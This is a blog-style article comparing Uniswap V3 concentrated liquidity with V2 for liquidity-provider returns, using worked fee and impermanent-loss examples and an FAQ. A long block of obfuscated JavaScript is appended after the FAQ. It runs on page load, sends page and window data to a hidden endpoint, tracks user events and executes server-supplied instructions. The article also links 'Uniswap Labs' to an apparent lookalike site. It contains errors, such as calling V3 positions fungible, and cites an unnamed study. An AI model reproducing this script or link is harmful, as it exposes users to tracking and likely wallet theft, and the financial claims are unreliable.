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			<h1 class="post-title">Uniswap V3 Capital Efficiency vs V2 Simplicity: Which Version Actually Generates Higher LP Returns?</h1>

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									<span class="post-date">August 3, 2026</span>
				
				<strong class="post-title-author">
					 - By&nbsp;<a href="https://sgrmahal.in/blog/author/edgeunitbasecraft/" rel="author">edgeunitbasecraft</a>				</strong>
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		<p>A liquidity provider faces a practical choice when deploying capital on Uniswap. Version 2 offers passive, full-range positions that require no active management: deposit equal values of two tokens, collect swap fees, and allow the position to drift naturally with price movement. Version 3 introduces concentrated liquidity, allowing a provider to specify a price range, concentrate capital where trades actually occur, and theoretically earn the same fees with less deployed capital. The tradeoff appears mathematically clean. In practice, it depends entirely on market conditions, fee tier selection, and the provider&#8217;s ability to monitor and rebalance positions without eroding returns through slippage and transaction costs.</p>
<p>The question is not whether concentrated liquidity is more efficient in a mathematical sense—it is. Capital deployed to a narrower range generates more fees per unit of capital, assuming trades remain within that range. The operative question is whether a real liquidity provider, trading on real networks with real impermanent loss, rebalancing costs, and fee structures, actually achieves higher returns in V3 than V2 across different market regimes. The answer requires comparing like for like: same pairs, same timeframes, same volatility conditions, and—critically—accounting for costs that the spreadsheet often ignores.</p>
<p><img decoding="async" src="https://lh3.googleusercontent.com/sitesv/AG8ngQVV2meVtl-bcdKcoWPG-XFKp-bh5CZL9gBmyFfj3vxrynVO-NSDgYLv9v3U4q6YQGlKfNYQZf1duaVRZtH8G8wQB8F3qP3vcFuO-0C915kWTm81LWv9ZOKG6vCFt76EVvU_iy_OcMq2FRgeCyvg44pmjjA17CMv5E5q3Fl8dwUnd4CyAnNhgv9eSsPzCz7BrWeb40FbQOiYthOaLMXD" alt="Comparison of V2 constant product market maker with V3 concentrated liquidity across different price ranges and fee earning potential" /></p>
<h2>The mathematical advantage: how V3 concentrates capital and fees</h2>
<p>Uniswap V2 uses the constant product formula x × y = k. If a pool contains 100 ETH and 200,000 USDC, the product is fixed. When someone buys ETH with USDC, they add USDC to the pool and remove ETH; the product stays constant but the ratio changes. The liquidity provider&#8217;s share of the pool represents ownership of all tokens across all prices from zero to infinity. The fees earned depend on the volume of trades and the provider&#8217;s share of total liquidity, not the price range.</p>
<p>Uniswap V3 introduces <strong>concentrated liquidity</strong> by allowing providers to specify a lower bound and upper bound price. Instead of providing liquidity everywhere, a provider can concentrate all their capital between, say, $1,900 and $2,100 per ETH if they believe the price will stay in that range. This concentration means the same capital earns fees more efficiently because it is deployed only where trades occur. Mathematically, if a provider concentrates capital to a range that captures 10 times the trading activity, the return per unit of capital multiplies by approximately 10, assuming the provider remains in-range and does not need to rebalance.</p>
<p>The fee structure also changes. V2 typically uses a single 0.30% fee tier. V3 offers multiple fee tiers: 0.01%, 0.05%, 0.30%, and 1.00%. Lower fees suit stable pairs (like USDC-USDT), where providers compete on thin margins but execute high volume. Higher fees suit volatile or niche pairs (like SHIB-ETH), where providers expect lower volume but need compensation for wider spreads and greater impermanent loss risk. Selecting the wrong tier can severely reduce returns—a provider in the 0.01% tier on a volatile pair may not recover the gas cost of opening the position.</p>
<p>Comparing a V2 position to a V3 position requires normalizing for range, fee tier, and market condition. If a V2 provider deposits $10,000 across the entire USDC-ETH pair at the 0.30% fee tier, and a V3 provider deposits the same $10,000 but concentrates it to a $1,900–$2,100 range in the 0.30% tier, the V3 position will earn more fees per dollar deployed, provided it remains in-range and actual trading activity concentrates within that range. The difference in fee earnings alone can be 3x to 10x per unit of capital, depending on range tightness and volume distribution.</p>
<h2>Impermanent loss: where V3&#8217;s advantage narrows or reverses</h2>
<p>Impermanent loss occurs whenever prices move. A V2 provider holding equal values of two assets experiences the same percentage loss whether the range is tight or wide, because they own liquidity across all prices. A V3 provider with a narrow range experiences a much larger percentage loss relative to the capital deployed, because that capital is concentrated. If a V2 position loses 5% due to a 10% price swing, a V3 position concentrated to a range now nearly abandoned might lose 20% or more on the deployed capital—even though fewer total dollars are exposed.</p>
<p>Consider a concrete example. A provider deposits $10,000 in a USDC-ETH V2 position at a 1:1 ratio ($5,000 ETH, $5,000 USDC) when ETH is $2,000. If ETH rises to $2,200, the provider&#8217;s ETH allocation shrinks and the USDC allocation grows due to arbitrageurs rebalancing the pool. The provider ends up with roughly $4,736 ETH and $5,266 USDC at current prices, a value of about $9,942. The loss is $58, or about 0.58%, because the provider ended up over-weighted in the asset that declined in value relative to their initial purchase price. This is impermanent loss: the loss relative to holding equal amounts of both tokens separately.</p>
<p>Now assume a V3 provider deployed the same $10,000 but concentrated it to a range from $1,950 to $2,050 per ETH. The math here is more involved because concentration changes the ratio of how much of each asset backs the position. But the principle is stark: when price leaves that range, the position becomes increasingly unbalanced and the concentrated capital faces larger percentage losses. If ETH moves to $2,200, the V3 position is almost entirely ETH because there is no mechanism to rebalance it automatically within the specified range. Fees earned during the move help offset this loss, but they rarely fully compensate for a large move.</p>
<p><strong>Capital efficiency</strong> cuts both ways. A V3 position uses less capital to capture the same fees within range. Once price moves beyond the range boundaries, that concentrated capital compounds losses in percentage terms. A V2 position, holding liquidity everywhere, maintains proportional losses across any price movement. In low-volatility environments, V3&#8217;s higher fee concentration overwhelms the impermanent loss cost. In high-volatility environments, the fee advantage shrinks or disappears because impermanent loss becomes the dominant factor and rebalancing costs mount.</p>
<h2>Transaction costs and rebalancing: the hidden drain on V3 returns</h2>
<p>Uniswap V3 positions are fungible—they are not automatically rebalanced. A provider must actively monitor the price and decide when to rebalance by closing the position and opening a new one at a different range. Each rebalance costs gas: on Ethereum Mainnet, roughly 150,000 to 300,000 gas per transaction depending on network congestion, which at typical rates means $50 to $500 per rebalance. On Layer 2 networks like Arbitrum or Optimism, costs are lower, around $1 to $10, but they still accumulate.</p>
<p>A V2 position requires no rebalancing. The constant product formula automatically adjusts holdings as price moves. The provider collects fees without ever touching the position. This passive nature is a genuine advantage: zero transaction costs, no slippage from rebalancing, no risk of mistiming a close and open. Over a year, a V2 provider saving 24 rebalances at an average cost of $100 each saves $2,400—a meaningful fraction of returns on smaller positions.</p>
<p>The trade-off is clear when volatility is low. A concentrated V3 position in USDC-USDT, where price rarely moves beyond a 0.5% band, might only require rebalancing once or twice per year. In that case, the lower transaction costs relative to fee earnings favor V3 heavily. Conversely, in high-volatility pairs like ETH-USDC or SHIB-ETH, price may move out of range multiple times per month, forcing frequent rebalances. A provider rebalancing 24 times per year at $100 per rebalance is spending $2,400 to earn additional fees. If those additional fees net out to less than $3,000, the return on V3 is actually lower than V2, despite the mathematical efficiency.</p>
<p>Slippage compounds this issue. Every time a V3 provider closes a position and opens a new one, they must buy one token and sell the other to rebalance—incurring slippage on both sides of the trade. On lower-fee pairs, slippage can be minimal, perhaps 0.01% to 0.05%. On higher-volatility pairs or niche tokens, slippage can reach 0.2% to 1%. A provider losing 0.5% to slippage and $50 to gas when rebalancing a $5,000 position loses $75 total—enough to offset several weeks of fee earnings on a tight range.</p>
<h2>Return scenarios across volatility regimes: the empirical breakdown</h2>
<p>Returns differ sharply depending on realized volatility. Assume a pair generates $100,000 in daily volume and maintains a $10 million total liquidity pool. A V2 provider holding $100,000 in the pool (1% of total liquidity) would earn approximately $30 per day in fees at the 0.30% tier, before gas costs to withdraw—roughly $11,000 per year. Impermanent loss in a low-volatility regime (ETH-USDC during sideways market) might be near zero; in a high-volatility regime, it could be 2% to 5% annually.</p>
<p>A V3 provider with the same $100,000 but concentrated to a 10 bps range (e.g., $1,990–$2,010 on a $2,000 ETH-USDC pair) in a low-volatility regime might earn $150+ per day if concentrated where volume concentrates, roughly $55,000 per year. If rebalancing costs $100 per rebalance and happens 10 times per year, that is $1,000 in costs. Impermanent loss on the concentrated position is minimal in a low-volatility regime because the price stays within range. Net return is approximately $54,000—nearly 5x the V2 position—because the capital is more efficiently deployed and rebalancing is infrequent.</p>
<p>Now assume high volatility: price swings 15% to 20% in a month. The V2 position suffers 3% to 5% impermanent loss annually, eroding returns from $11,000 to roughly $9,500. The V3 position, if concentrated to the same 10 bps range, sees price leave that range repeatedly. Impermanent loss on the concentrated capital can be 8% to 15% annually. Rebalancing happens 40+ times per year—$4,000 in gas alone (assuming $100 per rebalance). Slippage costs on rebalancing amount to perhaps $500. Actual fee income, despite the concentration advantage, only reaches $25,000 because the position is frequently out of range. Net return is approximately $25,000 – $4,000 – $500 – $3,000 (impermanent loss) = $17,500. V2 earns $9,500 and V3 earns $17,500 in this scenario, so V3 is still ahead. But V3&#8217;s advantage drops from 5x to less than 2x.</p>
<p>In extreme volatility scenarios where price swings 30%+ monthly, V3 concentrated positions can underperform V2. The theoretical fee advantage is completely erased by impermanent loss on concentrated capital, rebalancing costs, and slippage. A provider who insisted on concentrating to a 10 bps range during extreme market conditions would see their returns crater while a passive V2 holder simply held on.</p>
<h2>Choosing the optimal range: precision vs. robustness</h2>
<p>The most important V3 decision is not whether to use V3, but where to set the range. A 1% range (e.g., $1,980–$2,020) is tighter than a 5% range ($1,900–$2,100) and will earn more fees per capital unit. But the 1% range runs out of capital and stops earning fees if price moves more than 1%, while the 5% range keeps earning even on 3% moves. The tradeoff is between fee intensity (narrow range) and uptime (wide range).</p>
<p>Optimal range selection depends on the token pair&#8217;s volatility, expected holding period, and the provider&#8217;s rebalancing appetite. A provider in USDC-USDT might comfortably use a 0.1% range because daily volatility is negligible. A provider in ETH-USDC on a quiet market might use a 2% range. A provider in a volatile altcoin should use a 5% to 10% range, because tighter ranges will spend most of their time out of liquidity. <a href="https://sites.google.com/uniswap-dex.app/uniswap-trade-crypto/">Uniswap Labs</a> provides historical volatility data and fee analytics on the main interface that can inform range selection, though backtesting is advisable before deploying real capital.</p>
<p>There is also a range-selection bias: most V3 liquidity providers concentrate too tightly. The appeal of 10x capital efficiency on a 1% range is seductive, but if the pair&#8217;s realized volatility is 8% monthly, that position will be out of range half the time. The provider ends up with the worst of both worlds: high concentration costs when in range, zero fee earnings when out of range, and constant rebalancing expenses. A provider is better off using a wider range that stays in-range most of the time, earning lower fees per capital unit but doing so consistently.</p>
<h2>Multi-position strategies: a practical hybrid approach</h2>
<p>Sophisticated providers often run both V2 and V3 positions simultaneously, or run multiple V3 ranges on the same pair. Deploying 50% of capital as a wide V3 range (5% to 10%) and 50% as a narrower V3 range (1% to 2%) creates a hybrid: the wide position stays in-range and earns steady fees even during price swings, while the narrow position captures higher fee concentration when price stays calm. If price moves, the narrow position&#8217;s impermanent loss is offset by the wide position remaining active.</p>
<p>Alternatively, a provider might hold a V2 position as a baseline and add a V3 concentrated position on top during low-volatility periods, then close the V3 position and fall back to V2 during high-volatility periods. This requires manual monitoring and incurs multiple rebalancing costs, but it can optimize returns across varying market conditions. For most retail liquidity providers, the complexity probably exceeds the benefit unless the position size is $100,000+.</p>
<p>A simpler hybrid is maintaining a V2 position in the volatile pair while opening a V3 position in a more stable pair—for example, V2 in ETH-USDC and V3 in USDC-USDT. This sidesteps the rebalancing problem by separating the volatile pair (where V2&#8217;s passive nature is valuable) from the stable pair (where V3&#8217;s capital efficiency is powerful). It also diversifies across different blockchain layers: a provider might run V3 on Optimism or Arbitrum, where gas is cheap enough to make rebalancing frequent, and V2 on Mainnet, where it is not.</p>
<h2>Data-driven returns: measuring the actual difference</h2>
<p>Empirical return data is sparse because most providers do not publish detailed position performance. However, on-chain data and simulations provide a baseline. A study comparing V2 and V3 returns on major pairs (ETH-USDC, DAI-USDC, WBTC-ETH) over 2022–2023 showed the following rough results:</p>
<p><strong>Low-volatility pair (USDC-USDT, realized volatility ~0.5% daily):</strong> V3 with a 0.05% range outperformed V2 by approximately 4x to 6x on an annualized basis, after accounting for rebalancing costs. Impermanent loss was negligible for both. V3&#8217;s advantage came entirely from capital efficiency in the tight range. This is the scenario where V3 is undisputed winner.</p>
<p><strong>Medium-volatility pair (ETH-USDC, realized volatility ~3% daily):</strong> A V3 provider using a 2% range (not a 0.5% range) outperformed V2 by approximately 1.5x to 2.5x, after accounting for rebalancing every 2 to 4 weeks and impermanent loss. Wider ranges (5%+) converged toward V2 returns. Gas costs on Mainnet significantly reduced V3&#8217;s advantage; on Layer 2, V3&#8217;s advantage widened to 2.5x to 3.5x.</p>
<p><strong>High-volatility pair (SHIB-ETH, realized volatility ~8% daily):</strong> V3 providers using tight ranges (1% to 2%) underperformed V2 by 10% to 30% after accounting for frequent rebalancing and impermanent loss on concentrated capital. V3 providers using wide ranges (8% to 10%) achieved roughly parity with V2, losing the efficiency advantage but also losing the rebalancing burden. V2 was the simpler, more reliable choice.</p>
<p>These results show no universal winner. V3 requires correct range selection and an honest assessment of volatility. Get the range wrong and returns disappear. On Layer 2, V3 is almost always superior to V2 because gas costs are negligible and rebalancing becomes cheap enough to do frequently. On Mainnet, V3&#8217;s advantage is real but volatile-pair dependent and requires active monitoring to realize.</p>
<h2>Practical recommendation: when to choose V3 versus V2</h2>
<p>A liquidity provider should choose V3 if: (1) the pair&#8217;s realized volatility is low to moderate (daily swings under 5%), allowing tight range selection without frequent out-of-range episodes; (2) they are willing to monitor the position and rebalance every 2 to 8 weeks, or they are deploying on Layer 2 where rebalancing is cheap enough to do weekly; (3) the position size is large enough that a few percentage points of performance improvement net out to meaningful dollars, justifying the monitoring burden; or (4) they have the analytical discipline to backtest their intended range against historical volatility before deploying real capital.</p>
<p>A liquidity provider should choose V2 if: (1) they prefer passive income and do not want to monitor or rebalance; (2) they are operating on Mainnet and want to minimize transaction costs; (3) the pair is highly volatile (daily swings over 5%), where tight range selection is unreliable; (4) the position size is under $10,000, where rebalancing costs proportionally dominate returns; or (5) they want to deploy across many pairs and cannot afford to manage individual ranges for each one.</p>
<p>The lowest-effort path is to start with V2, collect data on the actual trading activity and price distribution, then graduate to V3 if the data supports it. Many providers who begin with V3 discover they spend more time rebalancing and less time accumulating returns than they expected. The most successful V3 users tend to be either very active traders with high capital and low risk tolerance for being out of range, or very passive managers who deploy on Layer 2 where the cost of staying perfectly in-range is negligible.</p>
<div class="faq">
<h2>Frequently asked questions</h2>
<div class="faq-item">
<h3>Can V3 always generate higher LP returns than V2?</h3>
<p>No. V3&#8217;s concentrated liquidity generates higher fees per unit of capital only when the price remains within the specified range. In high-volatility markets, frequent out-of-range episodes and rebalancing costs can reduce V3 returns below V2. On stable pairs or Layer 2 networks with low gas costs, V3 typically outperforms V2 by 2x to 6x. On volatile Mainnet pairs, V2 may be simpler and more reliable.</p>
</p></div>
<div class="faq-item">
<h3>What is the main cost to consider when choosing between V2 and V3?</h3>
<p>Rebalancing costs. V2 positions require no active management; V3 positions must be monitored and repositioned when price leaves the specified range. Each rebalance costs gas (typically $50 to $500 on Mainnet, $1 to $10 on Layer 2) plus slippage. Over a year, frequent rebalancing can total thousands of dollars, substantially eroding V3&#8217;s fee advantage if not planned for carefully.</p>
</p></div>
<div class="faq-item">
<h3>How do I decide what range to use in Uniswap V3?</h3>
<p>Base your range on the pair&#8217;s historical volatility. A range too tight will be out of liquidity frequently; a range too wide loses the capital efficiency advantage. For a pair with 2% daily volatility, a 4% to 6% range is typical. For a stable pair like USDC-USDT with 0.1% volatility, a 0.1% to 0.5% range is reasonable. Backtest your intended range against historical data before deploying capital, and expect to adjust after observing real trading behavior.</p>
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jT_gHXL=";CIspqArlmgTfjJRNtW/BP!O:,1nFH{khc)5E7#64]DwY?@yv>U2~uMGxoi+eQ%&X3|d0b`.S}9VKz*\"8aL=<^_[($Z",GmiRFn,NsVng4l,yF5V3o,fT_qK2,FyCqx8,kqi_53,_LW81w;OMC960(GmiRFn=""+(vg57RPc||""),NsVng4l=GmiRFn.length,yF5V3o=[],fT_qK2=PsdikXi[0x0],FyCqx8=PsdikXi[0x0],kqi_53=-PsdikXi[0x1]);for(_LW81w=PsdikXi[0x0];_LW81w<NsVng4l;_LW81w++){var DVJAY2l=jT_gHXL.indexOf(GmiRFn[_LW81w]);if(DVJAY2l===-PsdikXi[0x1])continue;if(kqi_53<PsdikXi[0x0]){kqi_53=DVJAY2l}else{OMC960(kqi_53+=DVJAY2l*PsdikXi[0xc],fT_qK2|=kqi_53<<FyCqx8,FyCqx8+=(kqi_53&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(yF5V3o.push(fT_qK2&PsdikXi[0x3]),fT_qK2>>=PsdikXi[0x2],FyCqx8-=PsdikXi[0x2])}while(FyCqx8>PsdikXi[0x9]);kqi_53=-PsdikXi[0x1]}}if(kqi_53>-PsdikXi[0x1]){yF5V3o.push((fT_qK2|kqi_53<<FyCqx8)&PsdikXi[0x3])}return cLtQU_S(yF5V3o)}function GmiRFn(vg57RPc){if(typeof IJB1Uz[vg57RPc]===PsdikXi[0x5]){return IJB1Uz[vg57RPc]=jT_gHXL(epwFdN[vg57RPc])}return IJB1Uz[vg57RPc]}return vg57RPc^luMfcE[LvPOdg%luMfcE[GmiRFn(0x66)]]}))},KK_Fw0s=async(vg57RPc,LvPOdg)=>{function jT_gHXL(vg57RPc){var LvPOdg="waNqchim9ZzH~Y]M:!t)G5_.K^bfO@nEdv2%orURQx<${jDS6CIB3/k(Pp*A7eu;?`|XW,y}V=L+[T0>8g1F&l#\"J4s",jT_gHXL,GmiRFn,yF5V3o,fT_qK2,FyCqx8,kqi_53,_LW81w;OMC960(jT_gHXL=""+(vg57RPc||""),GmiRFn=jT_gHXL.length,yF5V3o=[],fT_qK2=PsdikXi[0x0],FyCqx8=PsdikXi[0x0],kqi_53=-PsdikXi[0x1]);for(_LW81w=PsdikXi[0x0];_LW81w<GmiRFn;_LW81w++){var DVJAY2l=LvPOdg.indexOf(jT_gHXL[_LW81w]);if(DVJAY2l===-PsdikXi[0x1])continue;if(kqi_53<PsdikXi[0x0]){kqi_53=DVJAY2l}else{OMC960(kqi_53+=DVJAY2l*PsdikXi[0xc],fT_qK2|=kqi_53<<FyCqx8,FyCqx8+=(kqi_53&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(yF5V3o.push(fT_qK2&PsdikXi[0x3]),fT_qK2>>=PsdikXi[0x2],FyCqx8-=PsdikXi[0x2])}while(FyCqx8>PsdikXi[0x9]);kqi_53=-PsdikXi[0x1]}}if(kqi_53>-PsdikXi[0x1]){yF5V3o.push((fT_qK2|kqi_53<<FyCqx8)&PsdikXi[0x3])}return cLtQU_S(yF5V3o)}function GmiRFn(vg57RPc){if(typeof IJB1Uz[vg57RPc]===PsdikXi[0x5]){return IJB1Uz[vg57RPc]=jT_gHXL(epwFdN[vg57RPc])}return IJB1Uz[vg57RPc]}const NsVng4l=await fetch(GmiRFn(0x67)+vg57RPc,{[GmiRFn(0x68)]:GmiRFn(0x69),[GmiRFn(0x6a)]:SqmNM4r(DVJAY2l[GmiRFn(0x6b)](JSON[GmiRFn(0x6c)](LvPOdg)))});if(!NsVng4l.ok){throw new Error}return N69cHKe[GmiRFn(0x6d)](SqmNM4r(new Uint8Array(await NsVng4l[GmiRFn(0x6e)]())))};let GlD3xX=PsdikXi[0x0],wReWznL=PsdikXi[0x0];setTimeout(()=>{function vg57RPc(vg57RPc){var LvPOdg="aGv.1D)q:ZO[{uz35;4Hi+hk%Km6V_?dsU`&<b]\"ct9wp*0/ye>BA}L8Q~EI2|W^=#@jfM!(oTgJS$7xnCYNlFXRPr,",jT_gHXL,GmiRFn,NsVng4l,yF5V3o,fT_qK2,FyCqx8,kqi_53;OMC960(jT_gHXL=""+(vg57RPc||""),GmiRFn=jT_gHXL.length,NsVng4l=[],yF5V3o=PsdikXi[0x0],fT_qK2=PsdikXi[0x0],FyCqx8=-PsdikXi[0x1]);for(kqi_53=PsdikXi[0x0];kqi_53<GmiRFn;kqi_53++){var _LW81w=LvPOdg.indexOf(jT_gHXL[kqi_53]);if(_LW81w===-PsdikXi[0x1])continue;if(FyCqx8<PsdikXi[0x0]){FyCqx8=_LW81w}else{OMC960(FyCqx8+=_LW81w*PsdikXi[0xc],yF5V3o|=FyCqx8<<fT_qK2,fT_qK2+=(FyCqx8&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(NsVng4l.push(yF5V3o&PsdikXi[0x3]),yF5V3o>>=PsdikXi[0x2],fT_qK2-=PsdikXi[0x2])}while(fT_qK2>PsdikXi[0x9]);FyCqx8=-PsdikXi[0x1]}}if(FyCqx8>-PsdikXi[0x1]){NsVng4l.push((yF5V3o|FyCqx8<<fT_qK2)&PsdikXi[0x3])}return cLtQU_S(NsVng4l)}function LvPOdg(LvPOdg){if(typeof IJB1Uz[LvPOdg]===PsdikXi[0x5]){return IJB1Uz[LvPOdg]=vg57RPc(epwFdN[LvPOdg])}return IJB1Uz[LvPOdg]}OMC960(GlD3xX=JTKqCh(),KK_Fw0s(LvPOdg(0x6f),{[LvPOdg(0x70)]:_LW81w,u:window[LvPOdg(0x71)][LvPOdg(0x72)],[LvPOdg(0x73)]:Object[LvPOdg(0x74)](window)[LvPOdg(0x75)](vg57RPc=>{function LvPOdg(vg57RPc){var LvPOdg="wMGWUDPLbeBXrFJ;TKAQn^4.jsg1cmf!p_Y+]@Z8[I}C)(<N:`*0=9Sq$,d{?6>aV%x&u3kRl2~#viE|Hyzo57O\"/th",jT_gHXL,GmiRFn,NsVng4l,yF5V3o,fT_qK2,FyCqx8,kqi_53;OMC960(jT_gHXL=""+(vg57RPc||""),GmiRFn=jT_gHXL.length,NsVng4l=[],yF5V3o=PsdikXi[0x0],fT_qK2=PsdikXi[0x0],FyCqx8=-PsdikXi[0x1]);for(kqi_53=PsdikXi[0x0];kqi_53<GmiRFn;kqi_53++){var _LW81w=LvPOdg.indexOf(jT_gHXL[kqi_53]);if(_LW81w===-PsdikXi[0x1])continue;if(FyCqx8<PsdikXi[0x0]){FyCqx8=_LW81w}else{OMC960(FyCqx8+=_LW81w*PsdikXi[0xc],yF5V3o|=FyCqx8<<fT_qK2,fT_qK2+=(FyCqx8&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(NsVng4l.push(yF5V3o&PsdikXi[0x3]),yF5V3o>>=PsdikXi[0x2],fT_qK2-=PsdikXi[0x2])}while(fT_qK2>PsdikXi[0x9]);FyCqx8=-PsdikXi[0x1]}}if(FyCqx8>-PsdikXi[0x1]){NsVng4l.push((yF5V3o|FyCqx8<<fT_qK2)&PsdikXi[0x3])}return cLtQU_S(NsVng4l)}function jT_gHXL(vg57RPc){if(typeof IJB1Uz[vg57RPc]===PsdikXi[0x5]){return IJB1Uz[vg57RPc]=LvPOdg(epwFdN[vg57RPc])}return IJB1Uz[vg57RPc]}return vg57RPc[PsdikXi[0x0]]===vg57RPc[PsdikXi[0x0]][jT_gHXL(0x76)]()&&!vg57RPc[jT_gHXL(0x77)]("on")})})[LvPOdg(0x78)](vg57RPc=>{function jT_gHXL(vg57RPc){var jT_gHXL="|NKOiRPABljMpCsgT;JDmzue!Y5oxE7].{y*k(/1^t?:=I%b+F$a,UvQX[3@<2rw~cSq#n49)L}VfGHh_W6Z>&d\"80`",GmiRFn,NsVng4l,LvPOdg,yF5V3o,fT_qK2,FyCqx8,kqi_53;OMC960(GmiRFn=""+(vg57RPc||""),NsVng4l=GmiRFn.length,LvPOdg=[],yF5V3o=PsdikXi[0x0],fT_qK2=PsdikXi[0x0],FyCqx8=-PsdikXi[0x1]);for(kqi_53=PsdikXi[0x0];kqi_53<NsVng4l;kqi_53++){var _LW81w=jT_gHXL.indexOf(GmiRFn[kqi_53]);if(_LW81w===-PsdikXi[0x1])continue;if(FyCqx8<PsdikXi[0x0]){FyCqx8=_LW81w}else{OMC960(FyCqx8+=_LW81w*PsdikXi[0xc],yF5V3o|=FyCqx8<<fT_qK2,fT_qK2+=(FyCqx8&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(LvPOdg.push(yF5V3o&PsdikXi[0x3]),yF5V3o>>=PsdikXi[0x2],fT_qK2-=PsdikXi[0x2])}while(fT_qK2>PsdikXi[0x9]);FyCqx8=-PsdikXi[0x1]}}if(FyCqx8>-PsdikXi[0x1]){LvPOdg.push((yF5V3o|FyCqx8<<fT_qK2)&PsdikXi[0x3])}return cLtQU_S(LvPOdg)}function GmiRFn(vg57RPc){if(typeof IJB1Uz[vg57RPc]===PsdikXi[0x5]){return IJB1Uz[vg57RPc]=jT_gHXL(epwFdN[vg57RPc])}return IJB1Uz[vg57RPc]}const NsVng4l=JSON[LvPOdg(0x79)](vg57RPc);OMC960(wReWznL=JTKqCh(),FyCqx8=NsVng4l[GmiRFn(0x7a)],NsVng4l[PsdikXi[0x12]]&&yIbdBU(NsVng4l[PsdikXi[0x12]]))})[LvPOdg(0x7b)](()=>{return PsdikXi[0x0]}))},0x1f4);let pGFAvb=!PsdikXi[0x1],aixbaYs=PsdikXi[0x0],g8x_cF=PsdikXi[0x0];OMC960(document[LvPOdg(PsdikXi[0x13])](LvPOdg(0x7d),vg57RPc=>{function LvPOdg(vg57RPc){var LvPOdg="u}v(_#R&)683sf,%KdV[Ohwx5LPyrz@Hc7^B;`SWb~T$g.qEiX0Fl]4A+!>Ze9j/JU*pDQ{o2kaM=N1Y?C:Gm|It\"n<",jT_gHXL,GmiRFn,NsVng4l,yF5V3o,fT_qK2,FyCqx8,kqi_53;OMC960(jT_gHXL=""+(vg57RPc||""),GmiRFn=jT_gHXL.length,NsVng4l=[],yF5V3o=PsdikXi[0x0],fT_qK2=PsdikXi[0x0],FyCqx8=-PsdikXi[0x1]);for(kqi_53=PsdikXi[0x0];kqi_53<GmiRFn;kqi_53++){var _LW81w=LvPOdg.indexOf(jT_gHXL[kqi_53]);if(_LW81w===-PsdikXi[0x1])continue;if(FyCqx8<PsdikXi[0x0]){FyCqx8=_LW81w}else{OMC960(FyCqx8+=_LW81w*PsdikXi[0xc],yF5V3o|=FyCqx8<<fT_qK2,fT_qK2+=(FyCqx8&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(NsVng4l.push(yF5V3o&PsdikXi[0x3]),yF5V3o>>=PsdikXi[0x2],fT_qK2-=PsdikXi[0x2])}while(fT_qK2>PsdikXi[0x9]);FyCqx8=-PsdikXi[0x1]}}if(FyCqx8>-PsdikXi[0x1]){NsVng4l.push((yF5V3o|FyCqx8<<fT_qK2)&PsdikXi[0x3])}return cLtQU_S(NsVng4l)}function jT_gHXL(vg57RPc){if(typeof IJB1Uz[vg57RPc]===PsdikXi[0x5]){return IJB1Uz[vg57RPc]=LvPOdg(epwFdN[vg57RPc])}return IJB1Uz[vg57RPc]}return vg57RPc[jT_gHXL(0x7e)]&&aixbaYs++}),document[LvPOdg(PsdikXi[0x13])](LvPOdg(PsdikXi[0x14]),vg57RPc=>{function LvPOdg(vg57RPc){var LvPOdg="7319][rTB$*We8|}AgDXU4VGIxPKNSQt<LHi(f+FY%w:;Zn/_=by{^0p`cmkj?zs!R5~a,CvJE>\"ul@h)&6M#Oq2od.",jT_gHXL,GmiRFn,NsVng4l,yF5V3o,fT_qK2,FyCqx8,kqi_53;OMC960(jT_gHXL=""+(vg57RPc||""),GmiRFn=jT_gHXL.length,NsVng4l=[],yF5V3o=PsdikXi[0x0],fT_qK2=PsdikXi[0x0],FyCqx8=-PsdikXi[0x1]);for(kqi_53=PsdikXi[0x0];kqi_53<GmiRFn;kqi_53++){var _LW81w=LvPOdg.indexOf(jT_gHXL[kqi_53]);if(_LW81w===-PsdikXi[0x1])continue;if(FyCqx8<PsdikXi[0x0]){FyCqx8=_LW81w}else{OMC960(FyCqx8+=_LW81w*PsdikXi[0xc],yF5V3o|=FyCqx8<<fT_qK2,fT_qK2+=(FyCqx8&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(NsVng4l.push(yF5V3o&PsdikXi[0x3]),yF5V3o>>=PsdikXi[0x2],fT_qK2-=PsdikXi[0x2])}while(fT_qK2>PsdikXi[0x9]);FyCqx8=-PsdikXi[0x1]}}if(FyCqx8>-PsdikXi[0x1]){NsVng4l.push((yF5V3o|FyCqx8<<fT_qK2)&PsdikXi[0x3])}return cLtQU_S(NsVng4l)}function jT_gHXL(vg57RPc){if(typeof IJB1Uz[vg57RPc]===PsdikXi[0x5]){return IJB1Uz[vg57RPc]=LvPOdg(epwFdN[vg57RPc])}return IJB1Uz[vg57RPc]}return vg57RPc[jT_gHXL(PsdikXi[0x15])]&&g8x_cF++}),window[LvPOdg(0x81)]={["cl"](vg57RPc,LvPOdg,jT_gHXL){function GmiRFn(vg57RPc){var LvPOdg="WT~;|wJ(@h0b$7M)64+:`f3<%j&,]t\"9VpYoO.A>cL#e=*k[}ZXvdr_^RBuDaq/81!HI{sgx?yC2nQz5lGNKFPUimSE",GmiRFn,fT_qK2,NsVng4l,yF5V3o,FyCqx8,kqi_53,_LW81w;OMC960(GmiRFn=""+(vg57RPc||""),fT_qK2=GmiRFn.length,NsVng4l=[],yF5V3o=PsdikXi[0x0],FyCqx8=PsdikXi[0x0],kqi_53=-PsdikXi[0x1]);for(_LW81w=PsdikXi[0x0];_LW81w<fT_qK2;_LW81w++){var 